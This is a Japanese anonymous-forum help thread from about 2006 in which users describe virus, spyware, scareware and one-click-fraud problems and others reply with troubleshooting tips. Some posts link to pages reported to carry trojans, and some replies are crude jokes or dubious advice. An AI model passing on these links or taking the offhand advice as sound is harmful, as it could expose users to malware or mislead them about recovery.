tp://www.trendmicro.co.jp/vinfo/grayware/ve_graywareDetails.asp?GNAME=TSPY%5FLOOK2ME%2EL

>>132は質問者の意向を無視した回答をする無責任なオナニー野郎

すみません。わたし女です。。。

>>132
スキャンはトレンドマイクロでできたんだけど、
さっきのスパイウェアが見つかったから
どんな特徴があるのか調べてみたかったんだよ。
他にもデータベースが無いか探してみるね。

>>133
ありがとう。感染報告ゼロなんだね。
個別の具体的な特徴が知りたかったのに。
やっぱパスワードとか暗証番号盗まれたかな。不安。

http://www.medianetjapan.com/2/20/entertainment/soko/asoko.html
ここ開いちゃったんだけどウィルスいるの？

だれかー

>>137
マカとDr.webでは大丈夫だよ。

>>139
ありがとうございます！！＞＜

度々スイマセン。128です。
その.exeは削除して、ウィルススキャンもスパイボットも異常なしなんですが、勝手にWindowsインストーラが起動してしまいます。IEもコントロールパネルも開こうとするたびにインストーラがでてきてしまいます。どうすればいいかまったくわからなくて・・・

>>141
>>132

IEが起動しなくてネットに繋げないんです。メディアプレーヤーとかなら起動するんですが。ほっといても勝手にWindowsインストーラが起動しては→マイクロソフトオフィス2003を設定しています→情報を集めています→消える、を繰り返しています・・・

質問者は>>1-8のテンプレを読んでから質問するようにしてください。
また荒らし対策のため、質問する際にはトリップをつけるようお願いします。

>>143
【使用OS】
【WINDOWS　UPDATE】
【ウィルスソフト】
【UPDATE】
【スキャン】
【症状】
【やったこと】
【とった処置】
を書いてください。

何が検出されて何を削除したのかわからなければ、具体的な回答は出来ません。
正常に動作していた時の復元ポイントがあれば、そこで復元してみるのも一つの手段です。
一般的な手法として、セーフモードでアンチウイルスソフトでスキャンする方法がありますが、それは試しましたか？
もしアンチウイルスソフトを入れていないのであれば、反省をしつつクリーンインストールをお勧めします。

【使用OS】windows2000
【WINDOWS　UPDATE】SP4
【ウィルスソフト】Norton AntiVirus,Internet Security
【UPDATE】自動　最新
【スキャン】完全スキャン　ウィルスなし
【症状】ムービーファイルやmp3ファイルがaviに変換されて
　　　　Dドライブをいっぱいにする。起動後直後にされていた
　　　　らしく、起動直後よりCPUが100％で何もできなかった。
　　　　初めはただPCが重いだけだとおもっていたため。

【やったこと】変換されたファイルをすべて消した。その後通常である。
【とった処置】nortonで完全スキャンしたが特にウィルスらしきものは見つからなかった。

こんなウィルスの情報を教えてください。

助けてください。
ウイルスが見つかりました。どうやらトロイの木馬らしいです。
ウイルスバスター２００４を使ってます。
トレンドマイクロには
検出時の処理：感染ファイルを隔離できませんでした。
となってます。なんか１０ぐらいでてきてて、
ウイルス名はTSPY LINEAGE.BDPです。
バスターかけてますが、また2個でてきました。
どうしたらいいのか教えてください。

ケツにネギ突っ込んで寝れば直るらしいよ

>>146
http://www.trendmicro.co.jp/vinfo/grayware/ve_graywareDetails.asp?GNAME=TSPY%5FLINEAGE%2EBDP&VSect=Sn
ここに対処方法が載ってる

>>148 固まって動かせない状態に…
バスター終了して６こウイルスが！
タスクマネージャが大量出現
もうどうしたもんだか

バスターでチェックしたファイルでウィルスが検出されてそのファイルが削除されるんだけど、
その直後にカスペでチェックするとバスターのフォルダ内にさっき削除したと思われる
感染したファイル（名前・形式が変わっていてサイズが同じ）がまた検出されるんだよね。

これってバスターで削除したと思わせて実はバスターフォルダ内に感染って仕組みなのかな？
それともバスター自身がフォルダ内に移すっていう仕組みなのかな？

もしそのまま放っておいたらどうなんだろ・・・・

隔離されてるんでしょ

>>151
たぶんそうかなとは思ったけど、
隔離されれば他ソフトで検出されても問題ないんかな？

>>152
当たり前だろ.....
何の為の隔離だよ.....

あげ

>>149
ﾘｶﾊﾞﾘが手っ取り早い
ﾀｽｸﾏﾈｰｼﾞｬで片っ端から停止させながら
手動削除後にｱﾝﾁｳｨﾙｽｿﾌﾄ使用では？

>>150
カスペでチェックする前にＰＣを再起動させてないので
削除したはずの感染ファイルが検出されてるだけ

【使用OS】 　　　　　　　　　　　　　　　　XP
【WINDOWS　UPDATE】 SP2
【ウィルスソフト】 　　　　　　　　　　　　ﾉｰﾄﾝ
【UPDATE】 　　　　　　　　　　　　　　　してるはず
【スキャン】 　　　　　　　　　　　　　　　最近してない
【症状】 　　　　　　　　　　　　　　　　　パソコンを立ち上げるとWindowsの読み込みが終わったあと画面が真っ暗になり
　　　　　　　　　　　　　　　　　　　　　　中心にドクロの絵が表示されて、何も操作ができなくなる。
【やったこと】 　　　　　　　　　　　　　　セーフモード→意味ない　　　セーフモードに入らずシステムの復元→意味なかった
【とった処置】 　　　　　　　　　　　　　とりあえずどうしようもないので何かこの症状について情報知ってる方いたら
　　　　　　　　　　　　　　　　　　　　　　何でもいいんで教えて下さい。因みに"ドクロウイルス"ではないと思います。

>157
＞セーフモード→意味ない
「セーフモードで起動してもドクロが出てきます。」と言う事だね。
＞セーフモードに入らずシステムの復元→意味なかった
ダメ元で↓試せ
「セーフモード と コマンドプロンプト」
↓
Administratorまたは管理者権限のアカウントでログイン
↓
explorer.exeの変わりにcmd.exeを読みこむ（コマンドプロンプト起動・デスクトップ真っ暗）
↓
以下の文字を打ちこんで「Enter」
↓
%systemroot%\system32\restore\rstrui.exe（←システムの復元起動コマンド）

>>157
P2Pやってたろ

>>158
ﾚｽ有難う。「セーフモード と コマンドプロンプト」 →死んだorz　ドクロちゃんは健在。
初期化する前に、最後の手段として、別HDDにOSｲﾝｽｺしてそこからドクロHDDの中身を覗いてみるよ。

>>159
妹のパソコンだからよく分からん。でもやったことはあるが、最近はやってなかったらしい。
呼ばれて行ってみたら、既にドクロフリーズ状態。

ちょっと教えてください。
リカバリー用にバックアップをしたいのですが
ウイルスソフト（ノートンインターネットセキュリティー）を
バックアップする最適の方法をご教示ください。
（ウイルスソフトの空白状態を最小にしたいので）

>>161
シマンテックから最新の定義ファイルを事前に
落しておけばいいのではないでしょうか

　　　　 ∧＿∧ 　　
　　　　（　´∀｀）　　>>161
　　　　（　　　　）　　どっちにしろ、こういうの必要 ↓
　　　　｜ ｜　|　 　
　　　　（_＿）＿） 　http://www.proton.co.jp/products/acronis-trueimage-9/

【使用OS】ＸＰ
【WINDOWS　UPDATE】してない
【ウィルスソフト】カスペ、バスター２００５
【UPDATE】なし
【スキャン】たまに
【症状】すべての動作が重くされ、ほぼ、なにも出来ない状態orz
【やったこと】前にnyを使っていた
【とった処置】セーフモードでカスペでスキャン
アンチニイ、トロイ、キンタマが検出されましたが、状態変わらず(つД｀)

初期化するしかないでしょうか？

>>164
これは・・・無理！
OSのクリーンインストールだね
そして次回からはnyはやらない
やるにしてもWINDOWS　UPDATEしてなきゃ、感染させて下さい状態だし

>163
これがあればウイルスなんか怖くなくなりますね。
結局、怖い＝面倒、なんですよねｗ

>>165さん速答ありがとうございます！
やはり、そうですかorz… 重くて色んなデータのﾊﾞｯｸｱｯﾌﾟが取れない状態で
しぶってます(つд⊂)

>>161
脳豚教授はウィルスソフトではなく、セキュリティソフトです。

>>163
たぶん こに書き込むくらいただか
"ウイルス感染したのでバックアップ" じゃないでしょうか？
これじゃウイルス入りのイメージ作っちゃいます。

このてのソフトでは g4l がおすすめ。
勿論 健康な状態でのバックアップの話しです。

初めまして。私の友人がウィルスによりPCを壊されたと聞いたので
詳細なんかはわかりませんが、もしよろしければ答えてくださるとありがたいです。

友人の話では、家から帰宅後PCをつけ、メールチェックを行った後
一旦PCから離れようとした瞬間突然PCが再起動し
ウィンドウズが立ち上がる所にドクロのマークがついて動かなくなったという話を聞きました。
私も友人のPCを触った事はないのでまったくわからないのですが
リカバリーをしても直らないそうで・・・もし知っている方がいらっしゃいましたら
何かきかせてはいただけないでしょうか？どうかお願いします。

>170
「メールチェックの時に何をやったか」を聞いとけ

>>171
メール着てないか確認しただけで、特に何もやっていないそうです。

カボスで出回り始めた新種のようだな
Alt+F4連打で起動はできるようだがソフトは何も使えないらしい

かなり強烈なウイルスだな
感染元のファイル名おしえてくれ

突然再起動し動かなくなったそうなので、感染元ファイルもウィルス名も
何もわからないんです・・・。とてもムチャな質問ですいません。
やはり買い換えたほうがよろしいのでしょうか？

>173
＞Alt+F4連打で起動
参考にしときたい
なんていう起動方法？（前回正常起動とかデバッグモードとか）

>>175
いや　そういう書き込みを見つけただけ
http://pcq.furu.org/thread.php?thread=87621

>>174
>>157と同じかな？
友人はリカバリーの意味を勘違いしていると思われ。
リカバリーとはフォーマット（全てのファイルやフォルダをOS上から認識できなくなる）してから新規にファイルを書き込むこと。
BIOS感染型以外ならこれでOK
手に負えないなら新規購入よりはるかに安価なので購入店でリカバリ依頼なりメーカーに修理に出す。

>>177
>>157の症状と同じみたいですね。ログを読まずに書き込んですいません。
友人には修理に出すように言ってみます。どうもありがとうございました！

>176
そっか…俺も何かあったときに、その方法試してみよう。
ありがと。

戻って>170
起動したとき、どこまで起動できる？

>>178
ダウソをちらっとのぞいてみたがどうも潜伏期間があってその後発動するらしい
友人にカボスやめれと言っときな

>>180
ダウソのどのスレか教えてくれまいか。

>>181
http://tmp6.2ch.net/test/read.cgi/download/1164113539/110

過去ログにはもっとくわしい情報がありそうだ

>>182
わざわざありがとう、早速読んでくる。
シェアはやってないけどこんなの貰ったら大変だもんな・・・・勉強しとく。
感謝、感謝！

名前もわからないおかしなウィルスに感染してこまっています。友達から変なURLがメッセンジャーで送られてきて、
インストールしてしまったら、感染したという感じです。
症状はメッセンジャーもひらいていないのに勝手にサインインをしてそのときオンラインのメンバー全員に、
そのURLを貼り付けて送るというものです。なぜかそのURLは私の発言になってしまうのです。
それを私にくれた友達も同じ状態で私に送ってきたそうです。
デスクトップにwinstallと名前の書かれた変なソフトがあって、それが勝手に働いておかしくなるんですけど、
何回ためしてもそれを削除することができないのです。
やったことは、それを削除しようとしただけです。しかし、このままにするとすごい人数に被害かかかるので今すごく
困っています。対処法を知っている方がいたら教えてください!!

>>184
【使用OS】
【WINDOWS　UPDATE】
【ウィルスソフト】
【UPDATE】
【スキャン】
【症状】
【やったこと】
【とった処置】

＞友達から変なURLがメッセンジャーで送られてきて、インストールしてしまったら、感染したという感じです。
変な物は知人から送られてきても実行しないのが基本です。

少し古めのウイルスのような気がしますが、セキュリティソフトは最新の定義にしていますか？

　　　　 ∧＿∧ 　　
　　　　（　´∀｀）　　>>184
　　　　（　　　　）　　
　　　　｜ ｜　|　 　http://www.pandasoftware.jp/activescan/index.html
　　　　（_＿）＿）
　　　　　　　　　　　http://www.bitdefender.com/scan8/ie.html

>>184
ついでにこれも、どぞー
カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ　
ttp://www.kaspersky.co.jp/scanforvirus/

ドクロちゃんだがファイル名を指定して実行からコマンドプロントを起動するのはできるようだ
そっからレジストリエデイタを起動してスタートアップの自動起動エントリまわりのあやしいやつを削除ってのはどう？
しかしスタートアップに登録されてないって書き込みもあるし　かなりやっかいなブツだな
p2pやってない人の感染報告もあるようだが　シェアウエアなのにいつまでも金はらわねえと同じような症状になることもあるらしい
まあ　p2pやらワレズウイルスは完全自己責任ですね

ドクロウイルスってこの亜種？
ttp://internet.watch.impress.co.jp/cda/news/2006/07/24/12763.html

【使用OS】XP home edition sp1
【WINDOWS　UPDATE】いくつかのソフトウェア更新以外は 済
【ウィルスソフト】avast!
【UPDATE】最新
【スキャン】フルスキャン済
【症状】
ＩMEの単語登録が１年ほど前の状態に突然巻き戻りました。
最初はIMEの不具合でそういうこともあるのかと思ったのですが
今さっきサクラエディタの設定も巻き戻ってウイルスの挙動なのかと思い書き込みました。
【やったこと】
とりあえずそういうウイルスがあるのかと思って検索したのですがうまくしぼりこめず・・
【とった処置】

設定ファイルを巻き戻す（初期化する？）こんなウイルスはあるんでしょうか？

>>189

のー

そんなウイルスもどきじゃなくてでかいところがからんでるような希ガス

経済産業省のニュースリリースに例として同じ症状がかいてあった
感染報告が極めて少ないウイルスであるにもかかわらず　だ

自分のブログのアクセス解析ページを見てみると、
article/unicom:download/start
なんてものがでます。
自分で作成したものでもないし、このページをクリックすると
「削除または移動された可能性があります」と表示されます。

これって何なんですか？

すいません・・・・
変なワンクリックに引っかかったのですが
どうすればいいのでしょうか・・・・

>>193
心配性なくせしてエロサイトでも覗いたか？
骨の髄までしゃぶられるか、無視するかの二つに一つだろ？

トロイの木馬って何ですか〜〜？

>>195
http://ja.wikipedia.org/wiki/%E3%83%88%E3%83%AD%E3%82%A4%E3%81%AE%E6%9C%A8%E9%A6%AC

>>195
http://homepage3.nifty.com/yuki_nanotabi/smles/sm_horse.html

>>194
レスありがとうございます。
恥ずかしながら、お察しのとおりでございます・・・
ボケェ〜っとしてて、長いPOP UPの内容を読んでいませんでした。
単なる年齢認証だと思い、ok押したら、いきなりホスト情報が抜かれて
「登録完了」の画面になり、IPとか全部情報が出ていて、2日後までに
お金振り込めと・・・・・
無視してても大丈夫ですよね？
こんなバカをお助けください・・・・

>>198
IPからお前の情報が漏れるわけないだろ？
無視しとけよ

>>199
あなたの一言に少し涙が出てきました。
本当にありがとうございます；；

>>198
無視無視。IPなんて晒してるんだから、表示されてもおかしくない。
住所や名前なんて分からんのだから。

捨てメアドから、クーリングオフでもしたらどうだ?(笑

>>201
最初、それ考えたのですが、先ほど警視庁のHPでそれをやったら
いけないと書いてありました。

とにかく接触しないことですね。。

TVとか観てて「こういうのひっかかる奴いるんだな・・・」とか
冷ややかに観ていたら、まさか・・・あせりました。

お騒がせいたしました。板違いかも？にも親切に教えていただいて
本当に感謝しています＾＾

>>200
さっきは、チンポの先っぽから涙が出てたのにｗｗｗ

心配すんなよ　　なんもありゃせんよ

spybotやadawareをIEで検索してそのサイトにいくとIEが強制終了するのですが、これはウィルスでしょうか？
頻繁にsvhda.exeが強制終了みたいなメッセージが出てるのですが。

友達がIPからその人のパソコンに入るとかよく分からないこと言っていたのですがそんなこと簡単に出来るのでしょうか？
自分もとりあえずそんなことされたらたまらないのでウィルスチェックとかWinny？関連のこと初心者なり調べてみたのですがよく分からりません
何か詳しいことを教えて下さい よろしくお願いします

>>205
>よく分かりません

俺にだってポートが開いてなかったら何も出来ませんが？どうかした？

＞＞１８６
の上ふんだらsmaily sourceてのに
感染した(　ﾟдﾟ)､ﾍﾟｯ

>>207
単なるオンラインスキャンだろ・・

>>204
svhda.exe は、トロイのようだな(スパイウェアとも書いてあるが)。

タイプが分からんので、
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM%5FSDBOT%2EXE&VSect=Sn
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM%5FSPYBOT%2EJZ&VSect=Sn

これでも見てくれ。

>>206さん
それはつまりポート？を開いてればいろいろできて開いてなければ見ることもできないってことでしょうか？
・・・申し訳ありませんがそもそもポートとはなんですか？

今、まったく見覚えのない、添付つき・タイトルが英文のメールが来ました。
プレビューは切っており、開けないで削除しましたが、
万が一ウィルスメールでも感染は大丈夫でしょうか？
（カスペのオンライン・スキャンでマイコンピュータをスキャンしても白でした）
一応NISのチェックを通過してるので、ウィルスメールでなく、
単なる誤配だったのでしょうか？
それともどこかで情報が漏れて・・・ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

今時、添付つきメールなんて、怪しすぎですよね？
もうどうしたら・・

メールを開いていなければ大丈夫です

添付ファイルつきの英文メールなんてまず間違いなくウイルスだろうからそのまま削除して正解
開かなければ感染はしない
microsoft製のメーラー使ってんならupdateしとかないと開いただけで感染っつーのもあり得る
特にoutlookはやばい　officeの脆弱性攻撃が流行ってるし

>>211
まずは>>1のテンプレ埋めれ

メールを受信して削除しただけなら感染することはない
ウイルスの可能性もあるしスパムの可能性もある

不正なアクセスがって表示されるんですがマジでどうしたらいいか教えて下さい！本当に困ってます よろしくお願いします！

>>190
まずはSP2にしなよ。
アバストは検知漏れがあるという前提で使用した方が良いので
カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ　
ttp://www.kaspersky.co.jp/scanforvirus/
怪しいときはオンラインスキャンしてね。

>>216
おまいも>>1のテンプレ行き
「不正なアクセスが〜」って表示してるのはなんてソフトだ？
それからメッセージは省略せずにきちんと書いてくれ

すいません はじめてでめっちゃてんばってて

不正なアクセスがってのに対して
みっつ対策があって
アクセスを遮断しカスタマイズをするってのを押したらとりあえずとまったのですが

不正なクセうせスを削除するには言い留守のスキャンですかねええええ
ばか９

>>220
すいません もし侵入された場合どこを確認すればよいでしょうか？

またすいません

microsoft help hosting serverがアクセスしようとしてます

って出てくるのですがどう対処したらよいでしょうか

>>222
だからなんてソフトがそのメッセージを出してるのか書けというに
それも含めて>>1のテンプレ全部埋めてこい

あのさ>>1のテンプレの指示通り書き込んでくれ。
でないと誰も、対処法を教えられない。

テンプレ

【使用OS】
【WINDOWS　UPDATE】
【ウィルスソフト】
【UPDATE】
【スキャン】
【症状】
【やったこと】
【とった処置】

>>213-215
すいません、はじめて添付ファイルつき英文メールを受け取ったので気が動転していました。
どうもありがとうございました。
NIS・・・ウイルスもスパムも拒否ってるはずなのに役立たず・・・。

本当にすいません パソコン全然詳しくなくて

テンプレ

【使用OS】xp
【WINDOWS　UPDATE】してないかもしれない
【ウィルスソフト】
【UPDATE】
【スキャン】
【症状】またすいません

microsoft help hosting serverがアクセスしようとしてます

【やったこと それのアクセスを遮断 を選択

これで大丈夫でしょうか？詳しくわかったらまたかきます

nortonからのインターネットアクセス制御からの警告で
アクセス許可するか遮断するかカスタマイズするか
って出てきます
遮断のみ押すとなんかいも出てきて アプリケーション処理を常に使うを押すとしばらく消えます

>>227
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.100【2007】
ttp://pc8.2ch.net/test/read.cgi/sec/1164252696/
ノートン関係はこちらでどぞー

お尋ねしても宜しいでしょうか。

【使用OS】 Windows XP SP2
【WindowsUpdateしてるか】 自動更新ですが、念のため週に1〜2回手動で確認しています。
【AntiVirusは何を使っているか】 WinAntiVirus PRO 2006
【ちゃんとUpdateしてるか】 はい、ちゃんと最新の状態に更新しています。
【スキャンした結果（ウイルス名・発見場所）】 発見できない。
【別のオンラインスキャンしたならその結果は】 シマンテックやバスターのオンラインスキャンでは、WinAntiVirus PRO 2006を検出
【症状を具体的に、分かる限りすべて書く】 WinAntiVirus PRO 2006を入れてから動作が悪くなった。
【何をしたらそんなことになったのか】 貴方のパソコンは「ブラックウォーム」に感染される恐れがある。
セキュリティセンターは貴方のパソコンに「セキュリティミッス」を検出しました。現在使っているアンチウィルスでは
情報の流出を防ぐ事ができないと言われた。
【これまでにとった措置】 怖くなってノートン2006を削除してWinAntiVirus PRO 2006をインストール
【その他の質問】 WinAntiVirus PRO 2006が世界最強のセキュリティソフトと聞いたので、クレカで購入しました。

３スレ前ぐらいでみたな

本当にこんなん引っかかるやついるんだな
何人目だよ

いや　ふつうに釣りだとおもうが

すいません マジでどうしたらよいでしょうか
本当にお願いします

>>230
これは良い宣伝になりますね。これ以上被害者を増やさないための。

>>230
>「ブラックウォーム」

下手な翻訳ミスで「ブラックワーム」が正解
その程度の糞ソフトをよく使う気になったな

>>236もけっこう危ないぞｗｗ　気をつけろ。

>>230
こりゃまたダイレクトな手法な釣りですなぁ〜

＞WinAntiVirus PRO 2006が世界最強のセキュリティソフトと聞いたので、クレカで購入しました。

この最後の一文がまたアレですな(藁)

しつこいな、いい加減秋田
何度目だよ

件名が「DELIVERY FAIL USE : User mpaulina（[email protected]）not listed in public Name & Address Book 」、
送信者が「[email protected]」のメール受け取った人はいませんか？
コレ安全？

>>240
覚えのないメールは問答無用で削除しましょう

>>241
ありがとう、そうします。

http://game9.2ch.net/test/read.cgi/gamef/1164525732/
このスレの1の画像を開いたらJaneDoeStyleが落ちました。
そしてタスクマネージャーを見るとemRtcl.exeというのが異常にCPUを使っています。
これはウィルスでしょうか？Googleでファイル名を検索しても3件しかヒットしません・・

>>243
なんでもねえよ

>>243
５人でなんだか踊ってる映像。安全。

今日PC変えて以来、（ウイルスソフトはマカフィー→ウイルスバスター2006に変更）
MS02-039_SQL_SERVER_RESOLUTION_EXPLOIT
とかいうウイルスを3回もオンラインで検出したんですが、、、
一体何なんですかコレ？
説明読んでも的を射た回答が無かったので。

>>246
セキュリティホールへの攻撃を防いだことを意味していますので特に対応の必要はありません。
心配する必要なし

一回目・件名が「DELIVERY FAIL USE : User mpaulina（[email protected]）not listed in public Name & Address Book 」、
送信者が「[email protected]」

二回目・件名「Delivery Status Natification(Failure)、
送信者「[email protected]」の添付つきメールが着た・・・。

気持ち悪いです、自分のメールが漏れてるのでしょうか？？

一応プロバはカスペ、
自分はNISでメールチェックしているはず（NISでともにクリーン）なのですが・・・。

>>248
ttp://search.yahoo.co.jp/search?p=delivery+status+notification&rs=0&tid=top_v2&ei=UTF-8&search_x=1&fr=top_v2&yuragi=off

>>248
件名や内容はちと違うが、最近俺の所にも何件か来た。
簡単に言うと、今までおまいがメールを出した先の誰かがウイルスに感染しただけ。
そのウイルスがメールの履歴を見て、逆に送りつけてる訳だな。

添付ファイルは絶対に開けるな。即削除しろ。

>>248
ISP のメアドは匿名性がないよ。大抵、ISP のメアドは @ 以降のドメイン名が分かってる。
@ より前の文字列は英数記号で、まあ、総当たりでランダム文字列を作るだけで良かったりする。

Delivery Status Natification(Failure) のメールは、新手のスパムメール。
メールクライアントや Web メールによっては、Delivery Status Natification メールは自分で送ったものとして扱い、添付ファイルを表示してしまうものがある。
まあ、ほとんどは添付メールを表示しないので、見に覚えのないメールはさくっと消してしまのが良い。

http://stelbox82.k-free.net/9999khz.html

これはどのようなウイルスでしょうか？
い........

>>253
ttp://www.viruslistjp.com/search?VN=Trojan.JS.NoClose&referer=kis
ウィルスじゃなくてトロイだね

以下サイトから抜粋

一般的なトロイの木馬
この緩いカテゴリーには、犠牲となったPCにデータの一貫性を脅してダメージを与え
犠牲PCの動作を妨げる多様なトロイの木馬含まれます。
マルチ目的のトロイの木馬は、何人かのウイルス著者が
トロイの木馬パックよりも多機能的なトロイの木馬を作り出すので、このグループに含まれます。

>>250-252
どうもありがとうござます。
一回目と二回目の時間差が4時間ほどなので、同一人物ですかね。
記述忘れですが、一回目も添付つきメールでした。
こちらもスパムだといいのですが・・・。
NIS、安全なメールをスパム扱いしてるくせに、肝心のヤツを弾かないとはｗ

>>253
http://so.7walker.net/index.php?site=http%3A%2F%2Fstelbox82.k-free.net%2F9999khz.html&hua=

うちのPCから｢TSPY LINEAGE.BQA｣の文字が…
FILEが開かない…
修理ですかね

>>1の記入項目も埋められないようならメーカー修理でいいよ

私のﾊﾟｿｺﾝも今日初めてﾄﾞﾗｲﾌﾞｸﾘｰﾅｰを4.900円で購入しなさいと出ました。
『職業及び夫婦関係を危うくするインストール済みファイルの正体が
おそらくわからないでしょう。こういうファイルは、ネット動作記録
を残して、あなたのクレジットカード情報を危険にさらすこともできます。』
と出て不安です。
ｱﾀﾞﾙﾄｻｲﾄを観たせいで、とか書かれていますが、ｱｲﾄﾞﾙのｺﾝｻｰﾄやCMの動画を
観ていただけで、そんな覚えもありません。
しばらく様子をみてｲﾝｽﾄｰﾙしたソフトを削除しようと思っていますが。
ノートンのアンチウィルスの完全スキャンかけてみます。
何か情報をお持ちの方、教えていただければ嬉しいのですが、、
宜しくお願いします。

>>259
DriveCleanerは詐欺ソフトですので、インストールしないでください。
日本語のUIを持つ詐欺的セキュリティソフト「DriveCleaner」
ttp://internet.watch.impress.co.jp/cda/news/2006/10/12/13602.html
DriveCleaner(Symantec Security Response)
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-drivecleaner.html

インストールした場合やインストールしてないのに広告が出続ける場合はこちらで
WinAntiVirus-詐欺ソフト対策総合スレ-SystemDoctor
http://pc8.2ch.net/test/read.cgi/sec/1162464139/

>>186
の上ふんだら
＞＞２０７
と同じのに感染しました

当方カスぺいれてるんですが・・・

調べたらXcleanデラックス版でのみ除去できるようですが

ほかに除去しようないですか？

すいません教えてください

>>261
なんにもならんけどなぁ、そのリンク踏んでも。
その感染したログをここに貼り付けるか、感染しているところをアップしてみて。

さくら画像アップローダー
ttp://sakuratan.ddo.jp/imgboard/imgboard.cgi

>>262

Detected Smiley Source:
Registry Keys (2) :
HKEY_CLASSES_ROOT\typelib\{eddbdea4-5c07-453f-be8c-81d738984381}
HKEY_LOCAL_MACHINE\Software\Classes\TypeLib\{eddbdea4-5c07-453f-be8c-81d738984381}

CLSIDs (1) :
{eddbdea4-5c07-453f-be8c-81d738984381}

初心者なんでうupのしかたよく
わからないです

上はXceranearでの検出結果です

　　　　　　　　　　　　　○
　　　　　　　　　⊂⊃　⊂⊃ ／~~＼ 　 ⊂⊃
　　　　林林............,,,,傘傘傘::::::::傘傘傘.........林.林...

　　　　　　zzzzzzzz...........
　　　　　　　　　　　　　　　_,,..,,,,_
　　　　　　　､,　 ,,, 、,,　 ./ ,' 3／⌒ヽ-、_ 　　、　,, 　＠
　　　　　　　　 ､,　　　／l. 　/＿＿＿＿／ 　　　　 ヽ|ﾉ,,
　　　　＠　　　,,, 、,,　￣,,￣￣￣￣,,￣ 　　,,, 、,,　
　　　 ヽ|ﾉ　､､,　　,, 、,,　　　,　"　　,,　　､､,　,,

>>261
＞>>186
＞の上ふんだら
＞＞＞２０７
＞と同じのに感染しました

て書いてあるけど、もしかして、パンダのオンラインスキャンしたらsmaily sourceが検出されたってこと？

>>265
違いますURL踏んだ　クリックした時点

で感染しました

>>266
＞感染しました

これはどうやって判明したの？

>>267の質問は撤回させていただく。
これより急遽仕事に出かけねばならなくなったので。
ではこれにてシツレイさせていただく。

>>267
常駐カスパでそのurl踏んだら

駆除することができませんでしたなんたらでて

いろんなオンラインスキャンためして
ｘcleanerで感染判明しました

現在俺のパソコンがひと月ほど前からおかしくなっている。
昼間、パソコンを立ち上げると一分も経たずして勧誘の電話があちこちからかかってくるように
なった。墓地だったり証券だったり業種は様々だが明らかに俺の電話番号とパソコンの動作が
リンクするようになっている。偶然の域をとっくに超えているので、どうやって俺が家にいること
知ったんだ、と勧誘業者に噛み付いたこともある。もちろん答えなど言うはずはないが。
また、ネットに繋ぐのにもとんでもない時間がかかる。フリーズばかりする。

らしいです・・

>>269
パンダのオンラインスキャンサイトです

すいません、こんな早朝に
至急、教えて戴きたいことがあります

エロサイトを見ていて、
マイクロソフト〜からウィルス警告が出てしまいました
システムエラーが発見され至急、修理しなければ〜というような内容なのですが
ウィルスソフトを購入しなさいというページに繋がります

これは購入して修理した方が宜しいのでしょうか？
クレジットカード記入欄があり、躊躇しています
どなたかお教えお願いします

それ、詐欺だから思い止まって。
どっちにしろ、カード使わないでノートンとかバスターはお店で買ったほうが良いよ。
来年には更新の手紙来るから、それをコンビニで払えば安くなるし。

ありがとうございます

かなり、しつこく出てくるので

マイクロソフトの警告とばかり思ってしまいました

詐欺なんですね

警察に相談してみます

>>274
別に相談しなくても...
しかとすればいいじゃん

カード情報書いてしまった後なんです・・

こういう場合、どうしたらいいでしょうか？

カードを使えないようにカード会社に連絡する
もう二度とオンラインでカードなんか使わない
怪しい物には手を出さない

#最近は小学校でも教わるレベルの話だろ　それ

>>274
相談して来い
きっとそんな調査に無駄遣い出来ないと上のやつらに直ぐに握り潰されるから
日本は遅れているんだよ
昔は、困ったら警察に相談しなさいと言われたものだが、
実態が解明されるにつれ当てにならない代名詞になりつつある
人が殺されなきゃ今では動きもしないとんでもない治安機関だ

>>260　
259です。アドバイスありがとうございました。
教えて頂き助かりました。
ノートンで削除し、『プログラムと削除』でもｱﾝｲﾝｽﾄｰﾙしたら
画面に出なくなりました。
不安にかられ購入せずに済みました。感謝申し上げます。

>>279
そうだろう
目に見えなくなったら、もう感染していないと思っているんだよね
そんなあなたのパソコンはもうウィルスまみれだ

>>279
悪い事は言わねぇ
初心者のうちはウィルスはスパイウェアに感染したと思ったら即効でリカバリしとけ
自分を含めて被害を最小限に食い止める意味でもな

先ほど、AntiVirがC\Program Files\Lhaplus\Lhaplus.exeを｢TR/Dldr.Stration.I｣
として検出したのですが、誤検出だと考えてよろしいでしょうか？

だな
updateせよ

お前ら二十歳すぎて何やってんの？
もちろん現実世界でしか生きてこなかった純情な人にとっては過酷だけど
ネットってそういう世界だよ。騙し合いの世界。それは契約社会とは程遠いところにある。
出てくる情報全てが嘘だと疑うことから始めれ。
そしてこっちからわざわざ個人情報を与える必要はない。

ああいう馬鹿は漢字が多いと読めないよ。

>>284
すべては信じることからはじまると思うんだが

>>284
騙しには騙しのテクニックがある。
あらゆる分野に長けている人間を騙すには、疎い分野を見付けなければならないが、
必ずそれは論理破綻している。

そいつらよりも利口になればいい事だ。

携帯からですPC機動できなくなりました助けてください
【使用OS】 WIN MX
【WINDOWS　UPDATE】 してます
【ウィルスソフト】 Kaspersky
【UPDATE】 してます
【スキャン】 ―――
【症状】 起動不可セーフモードも
【やったこと】 電子メールを実行
【とった処置】 再起動したら起動不可になった

>>288
いま流行っているwhiterの亜種にひっかかったんじゃね
nyとかMXとかしてたらの話だけど

>>288
ハイ　おしまい
何故起動不能なのかがわからないから、
レジストリハイブのバックアップがなければ無理。
回復コンソールを使ってこれらを書き戻す。さいなら〜

【使用OS】 WIN MX　　て何？

>>288
釣れますか？

>>291
MXであぼーんって意味ｗ

>>289
MXは使っていますが関係ありません

>>290
キー!!

>>291
OSです
それくらい理解してください

>>288
Meなら・・・寿命です
MXなら・・・板違いです

>【ウィルスソフト】 Kaspersky
このウイルスが問題なんだろ？

謎のOSなんだからﾒｰｶｰに聞くのが本筋

>>288を正しく修正してみました
使用OS】 WIN MX
【WINDOWS　UPDATE】 してます
【ウィルスソフト】 Antinny
【UPDATE】 してます
【スキャン】 ―――
【症状】 起動不可セーフモードも
【やったこと】 Antinnyを実行
【とった処置】 再起動したら起動不可になった

なんだ釣りか

>>296
ウイルスではないと思います
正しく書きますとKasperskyエンジンのソフトです

久々にワロタ
OSにWINMXってあったんだね！　鼻から焼酎吹いた
